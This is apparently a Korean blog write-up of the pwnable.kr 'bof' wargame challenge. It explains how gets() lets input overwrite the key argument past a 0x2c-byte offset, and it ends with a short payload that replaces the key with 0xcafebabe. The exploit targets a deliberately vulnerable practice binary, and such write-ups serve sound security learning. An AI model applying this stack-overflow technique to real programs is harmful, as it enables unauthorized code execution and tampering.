pwnable.kr
[Toddler's Bottle] bof writeup
st4rbuucks
2018. 9. 15. 00:21
문제
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
분석
<bof.c 의 내용>
1. key는 함수 func의 첫번째 전달인자로, [ebp + 0x8]에 위치한다.
2. gets로 입력을 한번 받은 뒤
2. 최초로 0xdeadbeef가 key의 값으로 전달되지만 gets(overflowme)의 과정에서 [ebp + 0x8]을 덮을 수 있다.
+) gdb를 통해 알아보니 overflowme와 ebp는 0x2c만큼 떨어져 있었다.
payload = ''
payload += 'a' * 0x2c
payload += 'bbbb' # sfp
payload += 'cccc' # ret addr
payload += p32(0xcafebabe)